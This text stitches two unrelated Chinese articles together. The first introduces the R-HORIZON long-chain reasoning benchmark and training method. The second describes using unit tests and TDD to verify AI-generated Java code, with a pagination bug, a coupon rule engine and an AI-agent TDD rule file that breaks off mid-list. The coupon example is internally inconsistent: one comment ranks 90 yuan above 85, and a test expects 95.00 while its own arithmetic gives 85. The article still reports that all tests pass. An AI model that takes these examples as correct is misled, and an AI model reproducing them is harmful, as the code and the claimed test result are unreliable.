一、推理模型⾯临的新挑战

随着 OpenAI o1 、 DeepSeek-R1 等大型推理模型（LRMs）的问世， AI 推理能力迎来了「测试时扩展」的新阶段。这些模型通过长链思维（Long Chain-of-Thought, CoT）在数学推理、代码生成、智能体任务等领域展现出强大能力。

然而，现有评测体系存在一个关键盲区：主流基准测试（如 MATH500 、AIME）主要关注独立的单一问题，每个问题相互隔离，模型只需「—问—答」即可。

但现实应用场景往往大相径庭：

• 软件开发中需要连续处理多个关联代码模块
• 数学证明需要基于前序推导逐步构建后续结论
• 智能助手往往需要在多轮交互逐步完成复杂任务

这些真实场景要求模型具备跨任务的长链推理能力——不仅要解决单个子问题，更要在多个关联任务间保持推理—致性、合理分配计算资源、实现跨步骤的反思与纠错。

核心问题：当前大型推理模型的长链推理能力边界到底在哪里？

由于现有评测无法回答这—问题，传统训练数据也难以培养这种能力（如图所示，模型在长程推理场景下表现明显退化）。

复旦大学与美团 LongCat 联合推出 R-HORIZON——首个系统性评估与增强 LRMs 长链推理能力的评测框架与训练方法。

• 论文标题： R-HORIZON: How Far Can Your Large Reasoning Model Really Go in Breadth and Depth?
• 论文地址： https://arxiv.org/abs/2510.08189
• 项目主页： https://reasoning-horizon.github.io
• 代码地址：https://github.com/meituan-longcat/R-HORIZON 
• 数据集：https://huggingface.co/collections/meituan-longcat/r-horizon

二、方法论：Query Composition 范式

核心创新

R-HORIZON 提出了问题组合（Query Composition）方法，通过构建问题间的依赖关系，将孤立任务转化为复杂的多步骤推理链。

以数学任务为例，该方法包含三个步骤：

1. 信息提取：从独立问题中提取核心数值、变量等关键信息
2. 依赖构建：将前序问题的答案嵌入到后续问题的条件中
3. 链式推理：模型必须顺序解决所有子问题才能获得最终答案

方法优势

• 灵活扩展：可自由控制推理链长度（n = 2, 4, 8…）
• 精确可控：可灵活设定问题间的依赖强度
• 高效低成本：基于现有数据集构建，无需额外人工标注

基于此方法，我们构建了 R-HORIZON Benchmark 用于系统性评估 LRMs 的多步推理能力，同时生成了长链推理训练数据，通过强化学习（RLVR）提升模型性能。

三、评测基准：R-HORIZON Benchmark

数据集构成

基于 Query Composition 方法，我们构建了涵盖 6 个代表性数据集的 R-HORIZON Benchmark：

评测发现：性能断崖现象

我们评测了 20+ 个主流 LRMs（包括 o4-mini 、Claude-Sonnet-4 、 DeepSeek-R1 等顶级商业模型及开源模型），揭示了—个重要现象。

顶级推理模型在长链推理场景下均出现显著性能下降！

主要发现：

• 普遍性能退化：所有模型随问题数量增加均出现明显性能下降。DeepSeek-R1 在 AIME25 单问题场景准确率达 87.3%，但在 5 个组合问题场景下骤降至 24.6%。
• 规模效应：更大规模的模型对多步推理挑战表现出更强的鲁棒性。
• 任务差异：代码生成任务相比数学任务表现出更陡峭的性能衰退；多数推理模型在网页搜索场景中丧失工具调用能力。

四、机制分析：推理模型的三大瓶颈

为深入理解性能断崖的成因，我们进行了系统的机制分析，识别出当前 LRMs 的三个关键瓶颈：

瓶颈 1：有效推理长度受限

随着相互依赖问题数量增加，LRMs 难以维持原有性能水平。实际准确率与理论准确率之间的差距显著扩大。

深入分析显示：

• 模型错误集中在特定上下文范围内
• 7B 模型的主要错误范围在 (4-6K tokens)
• 32B 模型将范围扩展到 (8-10K tokens)
• 更大模型具有更长的有效推理边界

瓶颈 2： 反思机制高度局部化

对模型「反思」行为的分析发现发现：

• 模型反思频率随问题数量增加而上升并趋于收敛。
• 超过半数复杂任务 完全缺乏 长程反思 （跨越当前问题的反思）。
• 当前 LRMs 的反思机制 高度局部化，无法支撑长链场景需求。

瓶颈 3：思考预算分配失衡

最令人意外的发现：包括 DeepSeek-R1 在内的主流 LRMs 无法有效分配思考预算！

• 模型倾向于过度分配 tokens 给早期推理阶段
• 未能合理分配资源给后续关键问题
• 这种失衡严重影响整体推理链的完成质量

五、 训练方案：突破能力边界

发现瓶颈后，我们进—步探索：能否通过长链数据的强化学习训练突破这些限制？

训练策略

我们基于 R-HORIZON 构建的长链推理数据，采用 GRPO 算法进行训练：

• 算法：主流 RLVR 算法 GRPO
• 数据： R-HORIZON 组合数据（n = 2, n = 4）
• 实验：不同奖励函数的对比实验

训练效果：双重性能提升

实验结果显示：R-HORIZON 训练不仅显著提升长链任务表现，单问题性能也大幅增强！

核心数据

注：加粗数字表示该列最佳成绩

关键发现

1. 双重提升：使用 n = 2 组合问题训练，多步推理性能大幅提升（AIME24 n = 2 +17.4 分），单问题性能也显著增强（AIME24 单题 +7.5 分）。
2. 可扩展性：增加组合复杂度（n = 4）增强了模型处理更多推理步骤问题的能力，在 MATH500 (n = 8) 上达到 50.6%。

训练带来的质变

R-HORIZON 训练带来了推理机制的深层改变：

• 更高效的推理长度：显著改善组合任务性能，更好地泛化到更长推理链，同时缓解「overthinking」现象
• 更合理的预算分配：学会在多步问题中进行更合理的 token 预算分配
• 更长程的反思能力：促进了长程反思频率增加，直接改善长链推理性能

六、结论与展望

R-HORIZON 标志着大型推理模型研究的范式转变——从「能解决什么问题」到「能走多远」。

技术贡献

• 首个长链推理评测基准：系统性揭示 LRMs 的能力边界及三大瓶颈。
• 可扩展训练范式：提供低成本、高效率的能力提升路径。
• 深度机制分析：为未来推理模型改进指明方向。

AI生成代码质量难以把控！本文分享来自美团的技术实践，三大策略破解AI编程痛点。单测快速验证逻辑正确性，安全网保护存量代码演进，TDD模式精准传递需求。告别「看起来没问题」的错觉，构建AI时代的代码质量保障体系。

一、引言

目前，国内外很多AI Coding助手能在几秒钟内生成完整代码块，大大提升了开发效率，但这种高速开发模式也带来了潜在风险——与人工编码不同是，AI Coding助手生成代码存在两个特殊风险：其一，AI Coding助手依赖于上下文与模型自身的能力，输出的代码质量相对不可控。其二，AI生成的代码虽然逻辑通顺、结构完整，但可能隐藏着难以察觉的边界问题或逻辑缺陷。

核心问题：我们如何快速的验证AI生成代码的质量和可靠性？

本文旨在分享如何借助单元测试，让AI编程合作更高效可靠，主要解决三个常见痛点：

1. 肉眼审查困境：AI一次性生成大量代码时，难以快速准确判断逻辑完备性；
2. 存量代码信任危机：如何验证AI修改老代码时，不会产生非预期的结果；
3. 需求传达难题：如何精准向AI表达复杂需求并快速验证。

针对上述三个常见痛点，本文提出采用不同的单元测试策略来应对以上问题。每个策略都针对一个特定痛点设计：策略一通过测试解决肉眼审查的局限性；策略二构建单测安全网应对存量代码的信任问题；策略三则采用TDD模式优化需求传达与验证流程。下文将依次展开说明，希望能对大家有所帮助或启发。

二、策略一：单测检验AI代码逻辑正确性

2.1 问题背景

传统的人工代码审查在AI生成的大量代码面前显得低效且不可靠。在软件测试实践中，有着测试左移（Shift Left Testing）的概念，本质上是借助工具和测试手段更早地发现问题和预防问题。在AI Coding时代，这一理念尤为关键：跳过单元测试直接集成测试看似”抄近路”，实则是将风险后置——开发阶段几分钟能发现的Bug，在集成测试环境可能需要较长定位修复，这中间包含了代码部署、环境准备、测试条件的准备、问题定位、开发人员修复、再次部署验证等一系列漫长的环节。

相比之下，单元测试具有独特的优势：它能够独立运行、快速验证结果，并且可以无限次重复执行。这种测试方式就像是为项目进行的一次性投资，却能为整个开发周期构建起一张可靠的“安全网”。它不仅能实时验证AI Coding生成的代码是否正确，更能持续保障未来代码的质量稳定性，让开发团队始终对代码库保持信心。

2.2 案例：分页查询接口的隐蔽Bug

任务背景：实现一个支持多条件筛选的复杂分页查询接口pageQueryRobot

AI生成了如下核心查询逻辑：

public List<AgentRobotE> pageQueryRobotsByCondition(List<Long> shopIds, String chatSceneCode,
        Boolean enabled, Integer pageNo, Integer pageSize) {
    // ... 前置校验代码 ...

    // 分页查询机器人基础信息
    int offset = (pageNo - 1) * pageSize;
    List<AgentRobotEntity> entities = robotIds.stream()
            .skip(offset)
            .limit(pageSize)
            .map(robotId -> agentRobotDAO.getRobotById(robotId, false))
            .filter(Objects::nonNull)
            // 问题代码：类型不匹配的隐蔽Bug
            .filter(entity -> enabled == null || Objects.equals(entity.getEnabled(), enabled ? 1 : 0))
            .filter(entity -> Objects.equals(entity.getChatSceneCode(), chatSceneCode))
            .collect(Collectors.toList());

    return entities.stream()
            .map(this::convertToModel)
            .filter(Objects::nonNull)
            .collect(Collectors.toList());
}

问题分析：这段代码看起来逻辑完整，但第8行的过滤逻辑包含了多个复杂元素：

• 三元运算符 enabled ? 1 : 0
• Objects.equals 的使用
• Boolean到Integer的隐式逻辑转换

仅凭肉眼很难发现其中的类型不匹配问题。

单元测试发现问题：通过AI编写了17个全面的单元测试用例，覆盖：

• 正常场景：各种有效参数组合
• 边界场景：null值、空集合处理
• 参数组合：enabled为true/false/null的不同情况

@Test
public void testPageQueryWhenEnabledIsTrue() {
    // arrange
    List<Long> shopIds = Arrays.asList(12345L, 67890L);
    String chatSceneCode = "SCENE_C";
    Boolean enabled = true;  // 测试enabled为true的情况

    // 模拟数据库返回的实体，enabled字段为Boolean类型
    AgentRobotEntity mockEntity = new AgentRobotEntity();
    mockEntity.setEnabled(true);  // 注意：这里是Boolean类型
    mockEntity.setChatSceneCode("SCENE_C");

    when(agentRobotDAO.getRobotById(anyLong(), eq(false))).thenReturn(mockEntity);

    // act
    List<AgentRobotE> result = repository.pageQueryRobotsByCondition(
        shopIds, chatSceneCode, enabled, 1, 10);

    // assert - 这个测试失败了！
    assertEquals(1, result.size());  // 期望返回1个结果，实际返回0个
}

测试运行结果：当enabled为true时测试失败！

问题定位：通过测试失败，快速定位到过滤逻辑的问题：

// 错误的逻辑：entity.getEnabled()返回Boolean类型，但与Integer比较
Objects.equals(entity.getEnabled(), enabled ? 1 : 0)
// 当enabled=true时，比较的是 Objects.equals(Boolean.TRUE, 1) -> false
// 当enabled=false时，比较的是 Objects.equals(Boolean.TRUE, 0) -> false

正确修复：

// 修复后：直接比较Boolean类型
.filter(entity -> enabled == null || Objects.equals(entity.getEnabled(), enabled))

意外收获：在审查测试覆盖的代码时，还发现了N+1查询的性能问题：

// 存在性能问题的代码
.map(robotId -> agentRobotDAO.getRobotById(robotId, false))  // 每个robotId单独查询

成果验证：修复后，所有17个单元测试用例全部通过，代码质量得到保障。

三、策略二：构建安全网保护存量代码

3.1 问题场景

AI对存量代码的修改挑战更大。AI看到的可能只是函数或类的局部，无法理解背后的业务规则和历史包袱。如何放心的让AI修改已有的代码？

在进行AI Coding前，需要确保旧有逻辑，处于单元测试的完全覆盖保护中，这就像在开启汽车的“自动辅助驾驶”功能前，必须先系好安全带一样。这条“安全带”就是我们完善的、可运行的单元测试集。

• 快速验证，精准反馈：AI生成修改后的代码无需人工逐行对比，只需运行单元测试即可获得即时反馈。测试失败的用例直接揭示AI修改中存在的问题——要么触及了不应改动的逻辑，要么未能正确实现预期变更。这种反馈机制既高效又客观。
• 清晰界定修改边界：单元测试结果帮助我们明确判断——AI的修改是否精准实现了目标？在引入新功能的同时是否完整保留了原有逻辑？通过区分预期内的失败（主动修改旧逻辑）和意外失败（破坏现有功能），我们获得了优化AI方案的明确方向，大幅提升了迭代效率。

3.2 案例：延迟回复策略的用户范围扩展

业务背景：需要将消息延迟回复服务从原来的平台A、平台B的用户扩展到平台C用户。

原始代码分析：

// TextDelayReplyStrategy.java 中的核心逻辑
private boolean needSkip(ChatHistoryE chatHistoryE) {
    UserDTO UserDTO = UserHelper.parseUser(chatHistoryE.getUserId());
    return MessageSendDirectionEnum.CLIENT_SEND.value != chatHistoryE.getMessageStatus()
               || MessageShieldEnum.RECEIVER_SHIELD.value == chatHistoryE.getShield()
               || UserDTO == null
               || !UserType.isLoginUser(UserDTO.getUserType());  // 关键判断逻辑
}

这个needSkip方法决定了哪些用户类型需要跳过延迟回复处理。原逻辑中，UserType.isLoginUser()只覆盖平台A、平台B的登录用户，不包括平台C用户。

修改前的安全网构建：

按照“分析-测试-实施-验证”方法论，首先完善单元测试：

// 针对现有逻辑的保护性测试
@Test
public void testNeedSkipWithAUser() {
    // 平台A用户不应被跳过
    ChatHistoryE chatHistory = buildChatHistory(A_USER_ID);
    assertFalse(strategy.needSkip(chatHistory));
}

@Test
public void testNeedSkipWithBUser() {
    // 平台B用户不应被跳过
    ChatHistoryE chatHistory = buildChatHistory(B_USER_ID);
    assertFalse(strategy.needSkip(chatHistory));
}

@Test
public void testNeedSkipWithCUser() {
    // 平台C在修改前应被跳过
    ChatHistoryE chatHistory = buildChatHistory(C_USER_ID);
    assertTrue(strategy.needSkip(chatHistory));  // 修改前的预期行为
}

@Test
public void testNeedSkipWithGuestUser() {
    // 游客用户应被跳过
    ChatHistoryE chatHistory = buildChatHistory(GUEST_USER_ID);
    assertTrue(strategy.needSkip(chatHistory));
}

运行基线测试：确保所有测试通过，建立基线状态

[INFO] Tests run: 15, Failures: 0, Errors: 0, Skipped: 0
[INFO] 所有现有逻辑测试通过，可以安全修改

AI辅助修改实施：

向AI提供需求：”将平台C用户也纳入延迟回复服务范围”

AI分析代码后给出修改方案：

// 修改后的代码
private boolean needSkip(ChatHistoryE chatHistoryE) {
    UserDTO UserDTO = UserHelper.parseUser(chatHistoryE.getUserId());
    return MessageSendDirectionEnum.CLIENT_SEND.value != chatHistoryE.getMessageStatus()
               || MessageShieldEnum.RECEIVER_SHIELD.value == chatHistoryE.getShield()
               || UserDTO == null
               || !UserType.isAorBorCLoginUser(UserDTO.getUserType());  // 扩展用户范围
}

验证阶段的精准反馈：

修改后运行测试集：

# 运行结果
[INFO] Tests run: 15, Failures: 1, Errors: 0, Skipped: 0
[ERROR] testNeedSkipWithCProviderUser: expected:<true> but was:<false>

结果分析：

✅ testNeedSkipWithAUser - 通过（平台A用户逻辑未变）
✅ testNeedSkipWithBUser - 通过（平台B用户逻辑未变）
❌ testNeedSkipWithCUser - 失败（平台C预期的变更）
✅ testNeedSkipWithGuestUser - 通过（游客用户逻辑未变）

更新期望值：

@Test
public void testNeedSkipWithCUser() {
    // 修改后：平台C不应被跳过
    ChatHistoryE chatHistory = buildChatHistory(C_USER_ID);
    assertFalse(strategy.needSkip(chatHistory));  // 更新期望值
}

最终验证：

[INFO] Tests run: 15, Failures: 0, Errors: 0, Skipped: 0
[INFO] 所有测试通过，修改安全完成

这种方法将开发者从“担心AI改坏代码”的不信任中解放出来，明确知道哪些功能被影响，哪些保持不变，实现安全、高效的存量代码演进。

四、策略三：TDD思想驱动AI开发

4.1 “先生成，后验证”的局限

前面两节所提到的策略可以归类为”先生成，后验证”，在一定的场景下仍然存在两个问题：

• 提示词驱动：开发者反复修改自然语言描述，AI产出不确定，返工频繁；
• 肉眼审查：生成测试用例仍然需要人工验证，一旦用例较多，效率依然低下。

4.2 TDD模式的革命性转变

TDD 核心理念：

• 测试先行：先写测试，再写实现代码。
• 小步快跑：以微小增量推进开发，每次只解决一个问题。
• 设计驱动：测试即需求文档，驱动接口设计和代码结构。
• 安全网：测试集提供即时反馈，支持安全重构。

整个开发过程严格遵循 Red -> Green -> Refactor 的循环。

• 🔴 Red: 先编写一个失败的单元测试，用代码来定义我们期望实现的功能。
• 🟢 Green: 编写最精简的业务代码，让测试恰好通过。
• 🔵 Refactor: 在测试持续通过的前提下，重构优化代码的设计和质量。

借助测试驱动开发（TDD）思想，我们先为AI提供一份清晰、无歧义的“需求说明书”和“验收标准”，然后指导它进行代码的生成。这个过程的核心是“🔴 红-🟢 绿-🔵 重构”循环，它将我们的每一次的对话，都转化为一次可验证的、可累加的进步。采用“先验证，后实现”的红-绿-重构循环，将模糊的需求转化为精确的代码语言。

4.3 案例：优惠券使用规则引擎的复杂逻辑

业务需求：开发一个智能优惠券使用规则引擎，支持”多券叠加使用和最优组合推荐”

传统困难：

• 自然语言描述：“实现优惠券规则引擎，支持多种券类型的叠加使用，并智能推荐最优使用方案”
• AI需要猜测：哪些券可以叠加？什么是“最优”？有哪些使用限制？
• 反复沟通：多次修改提示词，AI理解仍然偏离业务实际

第一次尝试：AI理解为“简单累加所有优惠”

// AI第一次实现 - 过于简化
public BigDecimal calculateDiscount(Order order, List<Coupon> coupons) {
    return coupons.stream()
        .map(coupon -> coupon.getDiscountAmount())
        .reduce(BigDecimal.ZERO, BigDecimal::add);
}
// 问题：忽略了券的使用条件、互斥规则、叠加限制

第二次尝试：AI理解为“选择面额最大的券”

// AI第二次实现 - 逻辑错误
public List<Coupon> selectOptimalCoupons(Order order, List<Coupon> availableCoupons) {
    return availableCoupons.stream()
        .filter(coupon -> order.getTotalAmount().compareTo(coupon.getMinOrderAmount()) >= 0)
        .max(Comparator.comparing(Coupon::getDiscountAmount))
        .map(List::of)
        .orElse(Collections.emptyList());
}
// 问题：只考虑单券最大优惠，未考虑多券组合的更优效果

第三次尝试：AI尝试复杂逻辑但引入更多问题

// AI第三次实现 - 逻辑混乱
public CouponUsageResult applyCoupons(Order order, List<Coupon> coupons) {
    // 各种复杂的if-else嵌套，但缺乏清晰的业务规则
    // 没有处理券的互斥关系
    // 没有考虑计算顺序对最终优惠的影响
    // 边界条件处理不当
}

经过多轮提示词优化，每次都需要重新解释复杂的业务规则，仍不满足预期。

TDD方式的完整循环：

🔴 红色阶段：用测试定义需求

编写测试用例，精确定义复杂的业务规则：

@Test
public void testCouponUsageWithBasicStackingRules() {
    // 构造订单：总价100元，包含数码产品
    Order order = new Order()
        .setTotalAmount(new BigDecimal("100.00"))
        .addItem("数码产品", new BigDecimal("100.00"));
    
    // 构造可用优惠券
    List<Coupon> availableCoupons = Arrays.asList(
        new Coupon().setType("满减券").setCondition("满50减10").setDiscountAmount(new BigDecimal("10")),
        new Coupon().setType("打折券").setCondition("数码类9折").setDiscountRate(new BigDecimal("0.9")),
        new Coupon().setType("免邮券").setCondition("免运费").setDiscountAmount(new BigDecimal("5"))
    );
    
    // 期望结果：满减券和免邮券可叠加，打折券与满减券互斥，应选择最优组合
    CouponUsageResult result = CouponEngine.calculateOptimalUsage(order, availableCoupons);
    
    // 验证最优方案：使用打折券+免邮券 (90+0=90元，比满减券+免邮券的85元更优)
    assertEquals(2, result.getUsedCoupons().size());
    assertTrue(result.getUsedCoupons().stream().anyMatch(c -> "打折券".equals(c.getType())));
    assertTrue(result.getUsedCoupons().stream().anyMatch(c -> "免邮券".equals(c.getType())));
    assertEquals(new BigDecimal("95.00"), result.getFinalAmount()); // 100*0.9 + 0 - 5运费
}

@Test  
public void testCouponMutualExclusionRules() {
    Order order = new Order().setTotalAmount(new BigDecimal("200.00"));
    
    List<Coupon> availableCoupons = Arrays.asList(
        new Coupon().setType("满减券").setCondition("满100减30").setDiscountAmount(new BigDecimal("30")),
        new Coupon().setType("打折券").setCondition("全场8折").setDiscountRate(new BigDecimal("0.8")),
        new Coupon().setType("新用户专享").setCondition("首单5折").setDiscountRate(new BigDecimal("0.5"))
    );
    
    CouponUsageResult result = CouponEngine.calculateOptimalUsage(order, availableCoupons);
    
    // 验证互斥规则：新用户券与其他券互斥，且优惠最大，应该单独使用
    assertEquals(1, result.getUsedCoupons().size());
    assertEquals("新用户专享", result.getUsedCoupons().get(0).getType());
    assertEquals(new BigDecimal("100.00"), result.getFinalAmount()); // 200 * 0.5
}

@Test
public void testCouponUsageConditionValidation() {
    Order order = new Order()
        .setTotalAmount(new BigDecimal("30.00"))
        .setUserLevel("普通用户")
        .addItem("服装", new BigDecimal("30.00"));
    
    List<Coupon> availableCoupons = Arrays.asList(
        new Coupon().setCondition("满50减10"), // 不满足金额条件
        new Coupon().setCondition("VIP专享9折"), // 不满足用户等级条件  
        new Coupon().setCondition("数码类8折"), // 不满足品类条件
        new Coupon().setCondition("无门槛5元券").setDiscountAmount(new BigDecimal("5")) // 满足条件
    );
    
    CouponUsageResult result = CouponEngine.calculateOptimalUsage(order, availableCoupons);
    
    // 验证条件判断：只有无门槛券可用
    assertEquals(1, result.getUsedCoupons().size());
    assertEquals("无门槛5元券", result.getUsedCoupons().get(0).getCondition());
    assertEquals(new BigDecimal("25.00"), result.getFinalAmount());
}

运行测试：

[ERROR] testCouponUsageWithBasicStackingRules: 
Class CouponEngine doesn't exist
[ERROR] testCouponMutualExclusionRules:
Method calculateOptimalUsage not found

红色阶段成功：测试失败，但复杂的业务规则已经通过代码精确表达。

🟢 绿色阶段：AI精确实现

将失败的测试用例提供给AI：“请实现CouponEngine.calculateOptimalUsage方法，让这些测试通过”

AI分析测试用例后，精确理解了复杂的业务规则：

1. 券类型包括满减券、打折券、免邮券、新用户券等
2. 不同券有不同的叠加和互斥规则
3. 需要验证使用条件（金额、用户等级、商品类别）
4. 要计算最优的券使用组合

AI生成的实现方案：

public class CouponEngine {
    public static CouponUsageResult calculateOptimalUsage(Order order, List<Coupon> availableCoupons) {
        // 1. 过滤出满足使用条件的券
        List<Coupon> eligibleCoupons = availableCoupons.stream()
            .filter(coupon -> isEligible(order, coupon))
            .collect(Collectors.toList());
        
        // 2. 生成所有可能的券组合（考虑互斥规则）
        List<List<Coupon>> validCombinations = generateValidCombinations(eligibleCoupons);
        
        // 3. 计算每种组合的最终优惠，选择最优方案
        return validCombinations.stream()
            .map(combination -> calculateResult(order, combination))
            .min(Comparator.comparing(CouponUsageResult::getFinalAmount))
            .orElse(new CouponUsageResult(order.getTotalAmount(), Collections.emptyList()));
    }
    
    private static boolean isEligible(Order order, Coupon coupon) {
        String condition = coupon.getCondition();
        
        // 金额条件检查
        if (condition.contains("满") && condition.contains("减")) {
            BigDecimal minAmount = extractMinAmount(condition);
            if (order.getTotalAmount().compareTo(minAmount) < 0) return false;
        }
        
        // 用户等级检查
        if (condition.contains("VIP") && !"VIP用户".equals(order.getUserLevel())) {
            return false;
        }
        
        // 商品类别检查
        if (condition.contains("数码类") && !order.hasCategory("数码产品")) {
            return false;
        }
        
        return true;
    }
    
    private static List<List<Coupon>> generateValidCombinations(List<Coupon> coupons) {
        List<List<Coupon>> combinations = new ArrayList<>();
        
        // 生成所有子集组合
        for (int i = 0; i < Math.pow(2, coupons.size()); i++) {
            List<Coupon> combination = new ArrayList<>();
            for (int j = 0; j < coupons.size(); j++) {
                if ((i & (1 << j)) != 0) {
                    combination.add(coupons.get(j));
                }
            }
            
            // 检查组合是否符合互斥规则
            if (isValidCombination(combination)) {
                combinations.add(combination);
            }
        }
        
        return combinations;
    }
    
    private static boolean isValidCombination(List<Coupon> combination) {
        // 检查互斥规则
        boolean hasDiscountCoupon = combination.stream().anyMatch(c -> "打折券".equals(c.getType()));
        boolean hasReduceCoupon = combination.stream().anyMatch(c -> "满减券".equals(c.getType()));
        boolean hasNewUserCoupon = combination.stream().anyMatch(c -> "新用户专享".equals(c.getType()));
        
        // 新用户券与其他券互斥
        if (hasNewUserCoupon && combination.size() > 1) {
            return false;
        }
        
        // 打折券与满减券互斥
        if (hasDiscountCoupon && hasReduceCoupon) {
            return false;
        }
        
        return true;
    }
    
    private static CouponUsageResult calculateResult(Order order, List<Coupon> usedCoupons) {
        BigDecimal finalAmount = order.getTotalAmount();
        
        // 按照优先级顺序应用优惠
        for (Coupon coupon : usedCoupons) {
            if ("打折券".equals(coupon.getType())) {
                finalAmount = finalAmount.multiply(coupon.getDiscountRate());
            } else if ("满减券".equals(coupon.getType()) || "无门槛5元券".equals(coupon.getCondition())) {
                finalAmount = finalAmount.subtract(coupon.getDiscountAmount());
            } else if ("免邮券".equals(coupon.getType())) {
                // 免邮券单独处理运费
                finalAmount = finalAmount.subtract(coupon.getDiscountAmount());
            }
        }
        
        return new CouponUsageResult(finalAmount, usedCoupons);
    }
}

运行测试：

[INFO] Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
[INFO] All tests passed!

绿色阶段成功：测试通过，复杂的业务逻辑完全正确。

🔵 重构阶段：优化代码质量

在测试保护下，对AI生成的代码进行质量优化：

public class CouponEngine {
    // 提取常量，增强可读性
    private static final Set<String> MUTUALLY_EXCLUSIVE_TYPES = Set.of("打折券", "满减券");
    private static final String NEW_USER_COUPON_TYPE = "新用户专享";
    
    public static CouponUsageResult calculateOptimalUsage(Order order, List<Coupon> availableCoupons) {
        if (CollectionUtils.isEmpty(availableCoupons)) {
            return new CouponUsageResult(order.getTotalAmount(), Collections.emptyList());
        }
        
        // 使用策略模式优化条件验证
        List<Coupon> eligibleCoupons = availableCoupons.stream()
            .filter(coupon -> CouponValidator.isEligible(order, coupon))
            .collect(Collectors.toList());
        
        // 使用组合算法优化券组合生成
        List<List<Coupon>> validCombinations = CouponCombinator.generateValidCombinations(eligibleCoupons);
        
        // 使用计算引擎优化折扣计算
        return validCombinations.stream()
            .map(combination -> DiscountCalculator.calculateResult(order, combination))
            .min(Comparator.comparing(CouponUsageResult::getFinalAmount))
            .orElse(new CouponUsageResult(order.getTotalAmount(), Collections.emptyList()));
    }
}

// 职责分离：券验证器
class CouponValidator {
    public static boolean isEligible(Order order, Coupon coupon) {
        return AmountValidator.validate(order, coupon) &&
               UserLevelValidator.validate(order, coupon) &&
               CategoryValidator.validate(order, coupon);
    }
}

// 职责分离：券组合器
class CouponCombinator {
    public static List<List<Coupon>> generateValidCombinations(List<Coupon> coupons) {
        return PowerSetGenerator.generate(coupons).stream()
            .filter(MutualExclusionChecker::isValidCombination)
            .collect(Collectors.toList());
    }
}

// 职责分离：折扣计算器
class DiscountCalculator {
    public static CouponUsageResult calculateResult(Order order, List<Coupon> usedCoupons) {
        // 按优先级排序券，确保计算顺序正确
        List<Coupon> sortedCoupons = usedCoupons.stream()
            .sorted(Comparator.comparing(CouponPriorityResolver::getPriority))
            .collect(Collectors.toList());
        
        BigDecimal finalAmount = order.getTotalAmount();
        
        for (Coupon coupon : sortedCoupons) {
            finalAmount = applyCouponDiscount(finalAmount, coupon);
        }
        
        return new CouponUsageResult(finalAmount, usedCoupons);
    }
    
    private static BigDecimal applyCouponDiscount(BigDecimal currentAmount, Coupon coupon) {
        return CouponTypeHandler.getHandler(coupon.getType())
            .applyDiscount(currentAmount, coupon);
    }
}

重构验证：

[INFO] Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
[INFO] 重构完成，测试持续通过，代码结构更清晰，职责分离更明确

协作模式转变：开发者不再需要为如何描述复杂的业务规则而烦恼，现在只需专注于设计精确的测试场景——我们负责定义“做什么”和“预期结果”，而AI则负责实现具体的“怎么做”。这种明确的分工让复杂逻辑的开发变得既可控又高效。

通过这种方式，我们能够确保：

1. 需求表达精准无歧义
2. 边界条件全面覆盖
3. 实现过程完全可控
4. 重构过程安全可靠

当需要开发新场景时，只需新增测试用例即可，完全不必担心会破坏原有逻辑。这种开发模式不仅提升了效率，更确保了系统的稳定性和可维护性。

五、实践要点

5.1 环境配置

确保AI Agent能执行mvn test命令

设定明确的行为准则（Rule），让AI能够知道我们现在遵循的开发范式，防止AI为了通过测试”作弊”修改业务代码。一个借助TDD思想驱动代码生成的执行准则如下

# AI Agent 行为准则：TDD 测试驱动开发

## 1. 总则

### 1.1. 概述
为了确保 AI Agent 遵循 TDD（测试驱动开发）的开发模式，Agent 必须严格按照 **Red-Green-Refactor** 三个阶段的循环进行开发。在执行每个阶段前，Agent 必须向开发者明确声明其当前所处的阶段。

本准则旨在确保 Agent 遵循正确的 TDD 开发流程，避免跳过关键步骤。

### 1.2. 环境配置：强制使用指定的 settings.xml
**核心要求**: 所有对 `mvn@ 命令的调用（如 mvn test@, mvn compile@ 等），都**必须**使用 --settings@ (或 -s@) 参数来指定一个自定义的 settings.xml` 文件，以确保能够访问内部的 Maven 仓库。

- **命令格式示例**: `mvn --settings [settings.xml的绝对路径] test`
- **`settings.xml` 文件路径**: `[settings.xml的绝对路径]`

Agent 在执行任何 Maven 命令前，必须确认此路径已被正确配置和使用。

---

## 2. TDD 三阶段循环

### 2.1. 第一阶段：RED (写失败的测试)

#### 2.1.1. 目标
编写一个**必然失败**的测试用例，明确定义即将实现的功能需求。

#### 2.1.2. 核心准则
- **允许**: Agent 可以在 `src/test/` 目录下创建新的测试文件或添加新的测试方法
- **要求**:
  - 测试必须是失败的（因为对应的实现代码尚未存在或不完整）
  - 一次只测试一个功能点
  - 测试代码要简单清晰
  - 测试名称要明确表达测试意图
- **禁止**: Agent **不能**修改 `src/main/` 目录下的任何现有代码
- **验证**: 运行测试必须显示红色（失败状态）

#### 2.1.3. 交互示例
- **开发者提示**: "我需要实现一个计算器的加法功能"
- **Agent 回应**: "已激活 **RED 阶段**。我将先编写一个失败的测试用例来定义加法功能的需求。"

### 2.2. 第二阶段：GREEN (让测试通过的最简实现)

#### 2.2.1. 目标
编写**最简单**的实现代码，让当前失败的测试通过。

#### 2.2.2. 核心准则
- **允许**: Agent 可以创建、修改 `src/main/` 目录下的代码
- **要求**:
  - 优先考虑最简单的实现方式
  - 专注于满足当前测试用例
  - 快速实现功能让测试通过
- **禁止**:
  - **不能**修改测试代码
  - **不考虑**代码质量和性能优化
  - **不进行**过度设计
- **验证**: 运行测试必须显示绿色（通过状态）

#### 2.2.3. 交互示例
- **Agent 回应**: "已激活 **GREEN 阶段**。我将实现最简单的代码来让刚才的测试通过，不考虑优化和设计。"

### 2.3. 第三阶段：REFACTOR (重构优化)

#### 2.3.1. 目标
在保持测试通过的前提下，改进代码的设计、质量和可维护性。

#### 2.3.2. 核心准则
- **允许**: Agent 可以重构 `src/main/` 目录下的实现代码
- **要求**:
  - 改进代码设计和质量
  - 消除重复代码
  - 提高代码可读性和可维护性
  - 每次重构后必须运行测试确保通过
- **禁止**:
  - **不能**修改测试的行为和期望
  - **不能**破坏现有功能
- **验证**: 重构过程中和完成后，所有测试必须保持绿色

#### 2.3.3. 交互示例
- **Agent 回应**: "已激活 **REFACTOR 阶段**。我将重构代码以提高质量，同时确保所有测试保持通过状态。"

---

## 3. TDD 最佳实践

### 3.1. 循环节奏
- **小步快走**: 每个 Red-Green-Refactor 循环应该很短（几分钟到十几分钟）
- **频繁验证**: 每个阶段完成后都要运行测试验证
- **逐步推进**: 一次只关注一个小功能点

### 3.2. 测试质量要求
- **快速执行**: 单元测试应该在秒级内完成
